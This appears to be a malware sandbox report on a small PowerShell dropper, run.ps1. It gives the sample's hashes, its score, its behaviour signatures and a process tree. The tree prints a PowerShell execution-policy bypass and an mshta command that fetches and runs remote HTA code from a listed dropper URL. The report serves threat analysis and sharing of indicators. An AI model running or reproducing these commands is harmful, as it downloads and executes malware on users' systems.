Analysis

  • max time kernel
    148s
  • max time network
    114s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/09/2026, 11:32

General

  • Target
    run.ps1
  • Size 32B
  • Sample260907-nnkvtswarf
  • SHA256 1f0872fbe0536e3b4b6bf16706110929dfa08b66d104252bf70cbf93b0708731
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://timelevel12.com/big

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\run.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2508
    • C:\Windows\system32\mshta.exe
      "C:\Windows\system32\mshta.exe" http://timelevel12.com/big
      2⤵
        PID:3340

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/2508-0-0x00007FFFA36FF000-0x00007FFFA3700000-memory.dmp

          memory/2508-1-0x000001D4E6E20000-0x000001D4E6E42000-memory.dmp

          memory/2508-4-0x00007FFFA3570000-0x00007FFFA3F14000-memory.dmp

          memory/2508-6-0x00007FFFA3570000-0x00007FFFA3F14000-memory.dmp

          memory/2508-7-0x00007FFFA3570000-0x00007FFFA3F14000-memory.dmp